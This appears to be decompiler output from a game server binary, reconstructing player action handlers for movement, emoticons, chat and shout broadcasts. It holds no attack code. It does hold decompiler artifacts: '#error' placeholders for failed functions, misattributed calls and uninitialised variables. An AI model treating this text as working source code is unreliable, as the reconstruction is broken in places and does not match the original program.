-------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_SendMoveFail(void *this) { void *v1; // esi@1 char *v2; // eax@1 int v3; // ecx@1 int v4; // eax@3 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_SendMoveFail"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_SendMoveFail"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8219; v3 = *(_DWORD *)((char *)v1 + 78); *(_DWORD *)(v2 + 2) = *(_DWORD *)v3; *(_DWORD *)(v2 + 6) = *(_DWORD *)(v3 + 4); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 10) ) { v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 764))(v1); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v4 + 12))(v4, v1, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_ply_SendMoveFail : Packet Too Long", 10); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_SendMoveFail"); } //----- (0043DAB0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_ACTIONBYITEM_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 char *v5; // edi@3 int v6; // eax@6 DiceTaiSai *v7; // eax@11 DiceTaiSai *v8; // ebx@11 int v9; // eax@12 int v10; // eax@13 unsigned __int16 v11; // ax@13 char v12; // al@14 int v13; // eax@15 UseEffect::UIE_Functions *v14; // eax@16 ItemUseEffect *v15; // eax@17 int v16; // ebx@19 char v17; // al@25 int v18; // eax@26 char v19; // al@27 int v20; // eax@28 int v21; // ST04_4@29 int v22; // eax@29 int v23; // eax@33 FunctionEntarance _; // [sp+18h] [bp-1Ch]@1 AxialListPacketBroadcast alchat; // [sp+1Ch] [bp-18h]@29 int v26; // [sp+30h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ACT_ACTIONBYITEM_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_ACTIONBYITEM_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_ACTIONBYITEM_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v26 = 0; if ( !(_S22_1 & 1) ) { _S22_1 |= 1u; cmc_24.cmc_AllowMode = 70; atexit(_E23_2); } v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8296; if ( (1 << **((_BYTE **)v4 + 929)) & cmc_24.cmc_AllowMode ) { if ( !*(_DWORD *)((char *)v4 + 98) ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_ACTIONBYITEM_REQ : Invalid map", 0); *((_WORD *)v5 + 1) = 7209; if ( !ProtocolPacket::pp_SetPacketLen(&gpp, 5) ) goto LABEL_5; v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); LABEL_10: (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v6 + 12))(v6, v4, &gpp); v26 = -1; goto LABEL_35; } (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 2164))(v4); v7 = (DiceTaiSai *)(*(int (__thiscall **)(char *, _DWORD))*((int (__thiscall ***)(_DWORD, _DWORD))v4 + 14231))( (char *)v4 + 56924, *(_BYTE *)(netcmd + 2)); v8 = v7; if ( !v7 || (MoveManager::MoveManager(v7), !v9) ) { *((_WORD *)v5 + 1) = 7210; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 5) ) { v23 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v23 + 12))(v23, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_ACTIONBYITEM_REQ : Packet Too Long", 5); } v26 = -1; goto LABEL_35; } MoveManager::MoveManager(v8); v11 = *(_WORD *)(v10 + 8); if ( v11 == -1 ) { *((_WORD *)v5 + 1) = 7210; v12 = ProtocolPacket::pp_SetPacketLen(&gpp, 5); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v12, "ShineObjectClass::ShinePlayer::sp_NC_ACT_ACTIONBYITEM_REQ : Packet Too Long", 5) ) { v13 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v13 + 12))(v13, v4, &gpp); } LABEL_30: v26 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } v14 = UseEffect::UsedItemEffect::operator__(&useditemeffect, v11); if ( v14 ) { v15 = v14->useeffectstruct; if ( v15 ) { if ( v15->UseEffectA == 9 ) { v16 = v15->UseValueA; goto LABEL_24; } if ( v15->UseEffectB == 9 ) { v16 = v15->UseValueB; goto LABEL_24; } if ( v15->UseEffectC == 9 ) { v16 = v15->UseValueC; LABEL_24: if ( v16 >= 0 ) { *((_WORD *)v5 + 1) = 7208; v5[4] = v16; v19 = ProtocolPacket::pp_SetPacketLen(&gpp, 5); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v19, "ShineObjectClass::ShinePlayer::sp_NC_ACT_ACTIONBYITEM_REQ : Packet Too Long", 5) ) { v20 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v20 + 12))(v20, v4, &gpp); } *(_WORD *)v5 = 8225; *((_WORD *)v5 + 1) = handle; v5[4] = v16; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 5); v21 = *(_DWORD *)((char *)v4 + 78); LOBYTE(v26) = 1; v22 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v4, v22, v21, 0, 0, (int)&alchat, 1, 65535); *(_BYTE *)(*(_DWORD *)((char *)v4 + 32047) + 80) = v16; *(_WORD *)(*(_DWORD *)((char *)v4 + 32047) + 81) = 0; (*(void (__thiscall **)(void *, signed int, int, _DWORD))(*(_DWORD *)v4 + 2512))(v4, 4, v16, 0); LOBYTE(v26) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); goto LABEL_30; } goto LABEL_25; } } } LABEL_25: *((_WORD *)v5 + 1) = 7211; v17 = ProtocolPacket::pp_SetPacketLen(&gpp, 5); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v17, "ShineObjectClass::ShinePlayer::sp_NC_ACT_ACTIONBYITEM_REQ : Packet Too Long", 5) ) { v18 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v18 + 12))(v18, v4, &gpp); } goto LABEL_30; } *((_WORD *)v5 + 1) = 7209; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 5) ) { v6 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 764))(v4); goto LABEL_10; } LABEL_5: AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_ACTIONBYITEM_REQ : Packet Too Long", 5); v26 = -1; LABEL_35: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_ACTIONBYITEM_REQ"); } //----- (0043DE70) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_EMOTICON_CMD(void *this, int netcmd, int len, int handle) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_EMOTICON_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_EMOTICON_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; (*(void (__thiscall **)(void *, int, _DWORD))(*(_DWORD *)v4 + 2520))(v4, handle, *(_BYTE *)(netcmd + 2)); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_EMOTICON_CMD"); } //----- (0043DF20) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_DoEmotion(void *this, __int16 handle, unsigned __int8 emoticonID) { void *v3; // esi@1 char *v4; // eax@7 int v5; // ST04_4@7 int v6; // eax@7 char *v7; // [sp-4h] [bp-2Ch]@6 AxialListPacketBroadcast alchat; // [sp+10h] [bp-18h]@7 int v9; // [sp+24h] [bp-4h]@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_DoEmotion"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_DoEmotion"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v9 = 0; if ( !(_S24_8 & 1) ) { _S24_8 |= 1u; cmc_25.cmc_AllowMode = 70; atexit(_E25_8); } if ( (1 << **((_BYTE **)v3 + 929)) & cmc_25.cmc_AllowMode ) { if ( *(_DWORD *)((char *)v3 + 98) ) { (*(void (__thiscall **)(void *))(*(_DWORD *)v3 + 2164))(v3); v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8225; *((_WORD *)v4 + 1) = handle; v4[4] = emoticonID; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 5); v5 = *(_DWORD *)((char *)v3 + 78); LOBYTE(v9) = 1; v6 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v3, v6, v5, 0, 0, (int)&alchat, 1, 65535); *(_BYTE *)(*(_DWORD *)((char *)v3 + 32047) + 80) = emoticonID; *(_WORD *)(*(_DWORD *)((char *)v3 + 32047) + 81) = 0; (*(void (__thiscall **)(void *, signed int, _DWORD, _DWORD))(*(_DWORD *)v3 + 2512))(v3, 4, emoticonID, 0); LOBYTE(v9) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); v7 = "ShineObjectClass::ShinePlayer::sp_DoEmotion"; goto LABEL_8; } AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_DoEmotion : Invalid map", 0); } v7 = "ShineObjectClass::ShinePlayer::sp_DoEmotion"; LABEL_8: --funcallanalizer.fca_stackpoint; v9 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v7); } //----- (0043E0B0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_EMOTICONSTOP_CMD(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 char *v5; // eax@7 int v6; // ST04_4@7 int v7; // eax@7 int v8; // eax@7 char *v9; // [sp-4h] [bp-2Ch]@6 AxialListPacketBroadcast alchat; // [sp+10h] [bp-18h]@7 int v11; // [sp+24h] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_EMOTICONSTOP_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_EMOTICONSTOP_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v11 = 0; if ( !(_S26_2 & 1) ) { _S26_2 |= 1u; cmc_26.cmc_AllowMode = 70; atexit(_E27_3); } if ( (1 << **((_BYTE **)v4 + 929)) & cmc_26.cmc_AllowMode ) { if ( *(_DWORD *)((char *)v4 + 98) ) { v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8227; *((_WORD *)v5 + 1) = handle; v5 += 4; *(_WORD *)v5 = *(_WORD *)(netcmd + 2); v5[2] = *(_BYTE *)(netcmd + 4); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 7); v6 = *(_DWORD *)((char *)v4 + 78); LOBYTE(v11) = 1; v7 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v4, v7, v6, 0, 0, (int)&alchat, 1, 65535); v8 = *(_DWORD *)((char *)v4 + 32047) + 80; *(_WORD *)v8 = *(_WORD *)(netcmd + 2); *(_BYTE *)(v8 + 2) = *(_BYTE *)(netcmd + 4); LOBYTE(v11) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); v9 = "ShineObjectClass::ShinePlayer::sp_NC_ACT_EMOTICONSTOP_CMD"; goto LABEL_8; } AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_EMOTICONSTOP_CMD : Invalid map", 0); } v9 = "ShineObjectClass::ShinePlayer::sp_NC_ACT_EMOTICONSTOP_CMD"; LABEL_8: --funcallanalizer.fca_stackpoint; v11 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v9); } //----- (0043E230) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_CHAT_REQ(void *this, int netcmd, int len, signed int handle) { int v4; // esi@1 signed int v5; // [sp-10h] [bp-30h]@12 int v6; // [sp-Ch] [bp-2Ch]@12 FunctionEntarance _; // [sp+10h] [bp-10h]@1 int v8; // [sp+1Ch] [bp-4h]@1 v4 = (int)this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ACT_CHAT_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_CHAT_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_CHAT_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v8 = 0; if ( !(_S28_1 & 1) ) { _S28_1 |= 1u; cmc_27.cmc_AllowMode = 126; atexit(_E29_1); } if ( !((1 << **(_BYTE **)(v4 + 3716)) & cmc_27.cmc_AllowMode) ) goto LABEL_6; if ( !*(_DWORD *)(v4 + 98) ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_CHAT_REQ : Invalid map", 0); LABEL_6: --funcallanalizer.fca_stackpoint; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_CHAT_REQ"); return; } if ( ShineObjectClass::ShinePlayer::sp_AmpersandCommand((void *)v4, handle, netcmd + 2) || !*(_BYTE *)(*(_DWORD *)(*(_DWORD *)(v4 + 98) + 12) + 160) ) { --funcallanalizer.fca_stackpoint; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_CHAT_REQ"); } else { if ( !ShineObjectClass::ShinePlayer::sp_SpamCheck((void *)v4) ) { if ( ShineObjectClass::ShinePlayer::sp_IsSpameChatBan(v4) ) { v6 = netcmd + 3; v5 = handle; } else { v6 = netcmd + 3; v5 = 65535; } (*(void (__thiscall **)(int, signed int, int, _DWORD, signed int))(*(_DWORD *)v4 + 1308))( v4, v5, v6, *(_BYTE *)(netcmd + 2), 1); CCharacterTitleZone::CT_Chatting((CCharacterTitleZone *)(v4 + 89936)); } v8 = -1; FunctionEntarance::_FunctionEntarance(&_); } } //----- (0043E3D0) -------------------------------------------------------- void __stdcall ShineObjectClass::ShineObject::so_Chat(__int16 reciever, int chatstr, int len, char chatwin) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShineObject::so_Chat"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_Chat"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineObject::so_Chat"); } //----- (0043E420) -------------------------------------------------------- #error "43E420: undefined or illegal type '#331' (funcsize=120)" //----- (0043E5C0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_SHOUT_CMD(void *this, int netcmd, int len, signed int handle) { int v4; // esi@1 int v5; // eax@4 signed int v6; // [sp-Ch] [bp-2Ch]@12 int v7; // [sp-8h] [bp-28h]@12 int v8; // [sp-4h] [bp-24h]@12 FunctionEntarance _; // [sp+10h] [bp-10h]@1 int v10; // [sp+1Ch] [bp-4h]@1 v4 = (int)this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ACT_SHOUT_CMD"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_SHOUT_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_SHOUT_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v10 = 0; if ( !(_S30_7 & 1) ) { _S30_7 |= 1u; cmc_28.cmc_AllowMode = 126; atexit(_E31_7); } if ( !((1 << **(_BYTE **)(v4 + 3716)) & cmc_28.cmc_AllowMode) ) goto LABEL_6; v5 = *(_DWORD *)(v4 + 98); if ( !v5 ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_SHOUT_CMD: Invalid map", 0); LABEL_6: --funcallanalizer.fca_stackpoint; v10 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_SHOUT_CMD"); return; } if ( !*(_BYTE *)(*(_DWORD *)(v5 + 12) + 161) || (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1220))(v4) <= shineparam.scp_param.shoutlevel ) goto LABEL_6; if ( clockwatch.cw_CurrTick > *(_DWORD *)(v4 + 92240) ) { *(_DWORD *)(v4 + 92240) = clockwatch.cw_CurrTick + 10 * shineparam.scp_param.shoutdelay; if ( !ShineObjectClass::ShinePlayer::sp_SpamCheck((void *)v4) ) { if ( ShineObjectClass::ShinePlayer::sp_IsSpameChatBan(v4) ) { v8 = netcmd + 3; v7 = (int)byte_59A24E; v6 = handle; } else { v8 = netcmd + 3; v7 = (int)byte_59A24E; v6 = 65535; } (*(void (__thiscall **)(int, signed int, int, int, _DWORD))(*(_DWORD *)v4 + 1312))( v4, v6, v7, v8, *(_BYTE *)(netcmd + 2)); CCharacterTitleZone::CT_BroadCast((CCharacterTitleZone *)(v4 + 89936)); } } v10 = -1; FunctionEntarance::_FunctionEntarance(&_); } //----- (0043E760) -------------------------------------------------------- void __stdcall ShineObjectClass::ShineObject::so_Shout(__int16 reciever, int chatername, int chatstr, int len) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShineObject::smo_Shout"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::smo_Shout"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineObject::smo_Shout"); } //----- (0043E7B0) -------------------------------------------------------- #error "43E7B0: undefined or illegal type '#331' (funcsize=130)" //----- (0043E960) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_MobDistribute(void *this) { void *v1; // esi@1 int (__stdcall **almd)(int, int, int); // [sp+4h] [bp-14h]@1 void *v3; // [sp+8h] [bp-10h]@1 int v4; // [sp+14h] [bp-4h]@1 v1 = this; AxialListIterator::AxialListIterator((AxialListIterator *)&almd); almd = &AxialListMobDistribute::_vftable_; v3 = v1; v4 = 0; ShineObjectClass::ShineObject::so_AllInMap(v1, (int)&almd, 1); v4 = -1; almd = &AxialListMobDistribute::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)&almd); } // 5A0AAC: using guessed type int (__stdcall *AxialListMobDistribute___vftable_)(int, int, int distancesquar); //----- (0043E9D0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::smo_ply_SendSpeedInformation(void *this) { void *v1; // esi@1 int v2; // edi@1 int v3; // eax@1 char *v4; // ecx@3 int v5; // eax@5 v1 = this; v2 = (unsigned __int16)(*(int (**)(void))(*(_DWORD *)this + 1284))(); v3 = (unsigned __int16)(*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1280))(v1); if ( *((_WORD *)v1 + 44962) != v2 || *((_WORD *)v1 + 44961) != v3 ) { *((_WORD *)v1 + 44961) = v3; *((_WORD *)v1 + 44962) = v2; v4 = gpp.pp_Buffer; *(_DWORD *)gpp.pp_Buffer = *((_DWORD *)v1 + 22480); *((_WORD *)v4 + 2) = *((_WORD *)v1 + 44962); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 764))(v1); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v5 + 12))(v5, v1, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_MOVERUN_CMD : Packet Too Long", 6); } } } //----- (0043EA70) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::so_ReinforceMove(void *this, int towhere, int speed, int mvdir, int buf) { void *v5; // edi@1 int v6; // edx@1 char *v7; // eax@5 int v8; // esi@5 int v9; // eax@5 unsigned __int8 v10; // dl@5 int v11; // ST04_4@5 int v12; // eax@5 char *v13; // [sp-4h] [bp-30h]@3 AxialListPacketBroadcast alchat; // [sp+14h] [bp-18h]@5 int v15; // [sp+28h] [bp-4h]@1 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_ReinforceMove"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::so_ReinforceMove"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = *(_DWORD *)((char *)v5 + 98); v15 = 0; if ( !v6 ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_STOP_REQ : Invalid map", 0); LABEL_3: v15 = -1; v13 = "ShineObjectClass::ShineMobileObject::so_ReinforceMove"; goto LABEL_8; } (*(void (__thiscall **)(void *))(*(_DWORD *)v5 + 2164))(v5); (*(void (__thiscall **)(void *))(*(_DWORD *)v5 + 2716))(v5); if ( !MapBlock::MapBlockInformation::mbi_OccupCellCheck( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v5 + 98) + 20), *(_DWORD *)towhere, *(_DWORD *)(towhere + 4), 1) ) goto LABEL_3; (*(void (__thiscall **)(void *, int, int, signed int, int))(*(_DWORD *)v5 + 1560))(v5, towhere, speed, 3, mvdir); v7 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8297; v8 = (int)(v7 + 2); *((_WORD *)v7 + 1) = *((_WORD *)v5 + 2); v9 = *(_DWORD *)((char *)v5 + 78); *(_DWORD *)(v8 + 2) = *(_DWORD *)v9; *(_DWORD *)(v8 + 6) = *(_DWORD *)(v9 + 4); *(_DWORD *)(v8 + 10) = *(_DWORD *)towhere; *(_DWORD *)(v8 + 14) = *(_DWORD *)(towhere + 4); v10 = *(_BYTE *)(v8 + 20); *(_WORD *)(v8 + 18) = speed; *(_WORD *)(v8 + 20) ^= (v10 ^ mvdir != 0) & 1; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 24); v11 = *(_DWORD *)((char *)v5 + 78); LOBYTE(v15) = 1; v12 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v5, v12, v11, 0, 0, (int)&alchat, 1, 65535); if ( buf ) { *(_DWORD *)buf = *(_DWORD *)v8; *(_DWORD *)(buf + 4) = *(_DWORD *)(v8 + 4); *(_DWORD *)(buf + 8) = *(_DWORD *)(v8 + 8); *(_DWORD *)(buf + 12) = *(_DWORD *)(v8 + 12); *(_DWORD *)(buf + 16) = *(_DWORD *)(v8 + 16); *(_WORD *)(buf + 20) = *(_WORD *)(v8 + 20); } LOBYTE(v15) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); v15 = -1; v13 = "ShineObjectClass::ShineMobileObject::so_ReinforceMove"; LABEL_8: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v13); } //----- (0043EC30) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ReinforceMove(void *this, int towhere, int speed, int mvdir, int buf) { void *v5; // esi@1 int v6; // edx@1 int v7; // edx@3 int v8; // ecx@3 int v9; // edx@3 int v10; // ecx@3 int v11; // eax@3 int runcmd; // [sp+8h] [bp-24h]@3 int v13; // [sp+Ch] [bp-20h]@3 int v14; // [sp+10h] [bp-1Ch]@3 int v15; // [sp+14h] [bp-18h]@3 int v16; // [sp+18h] [bp-14h]@3 __int16 v17; // [sp+1Ch] [bp-10h]@3 int v18; // [sp+28h] [bp-4h]@1 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ReinforceMove"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ReinforceMove"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = *(_DWORD *)((char *)v5 + 98); v18 = 0; if ( v6 ) { ShineObjectClass::ShineMobileObject::so_ReinforceMove(v5, towhere, speed, mvdir, (int)&runcmd); ShineObjectClass::ShinePlayer::sp_SkillShiftCancel(v5); v7 = v13; *((_DWORD *)v5 + 26) = runcmd; v8 = v14; *((_DWORD *)v5 + 27) = v7; v9 = v15; *((_DWORD *)v5 + 28) = v8; v10 = v16; *((_DWORD *)v5 + 29) = v9; LOWORD(v9) = v17; *((_DWORD *)v5 + 30) = v10; *((_WORD *)v5 + 62) = v9; v11 = *(_DWORD *)((char *)v5 + 32047); *((_WORD *)v5 + 51) = 105; v11 += 80; *(_WORD *)v11 = *(_WORD *)&ShineObjectClass::ShineObject::so_defstopmotion; *(_BYTE *)(v11 + 2) = byte_1246F162; } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_STOP_REQ : Invalid map", 0); } --funcallanalizer.fca_stackpoint; v18 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ReinforceMove"); } // 1246F160: using guessed type struct STOPEMOTICON_DESCRIPT ShineObjectClass__ShineObject__so_defstopmotion; // 1246F162: using guessed type char byte_1246F162; //----- (0043ED60) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::so_mobile_StopHere(void *this) { void *v1; // esi@1 int v2; // edx@1 int v3; // eax@1 char *v4; // eax@1 int v5; // edx@1 int v6; // edx@1 int v7; // ST04_4@1 int v8; // eax@1 AxialListPacketBroadcast alchat; // [sp+Ch] [bp-18h]@1 int v10; // [sp+20h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_mobile_StopHere"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::so_mobile_StopHere"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_DWORD *)v1 + 35); *((_DWORD *)v1 + 36) = 0; *((_DWORD *)v1 + 42) = 0; *((_DWORD *)v1 + 43) = 0; *((_DWORD *)v1 + 44) = 0; *((_DWORD *)v1 + 45) = 0; *((_DWORD *)v1 + 46) = 0; *((_DWORD *)v1 + 37) = 0; v3 = *(_DWORD *)(v2 + 78); *((_DWORD *)v1 + 40) = *(_DWORD *)v3; *((_DWORD *)v1 + 41) = *(_DWORD *)(v3 + 4); *((_WORD *)v1 + 51) = 0; v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8211; *((_WORD *)v4 + 1) = *((_WORD *)v1 + 2); v5 = *(_DWORD *)((char *)v1 + 78); *((_DWORD *)v4 + 1) = *(_DWORD *)v5; v6 = *(_DWORD *)(v5 + 4); v10 = 0; *((_DWORD *)v4 + 2) = v6; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 12); v7 = *(_DWORD *)((char *)v1 + 78); LOBYTE(v10) = 1; v8 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v1, v8, v7, 0, 0, (int)&alchat, 0, 65535); LOBYTE(v10) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); --funcallanalizer.fca_stackpoint; v10 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, 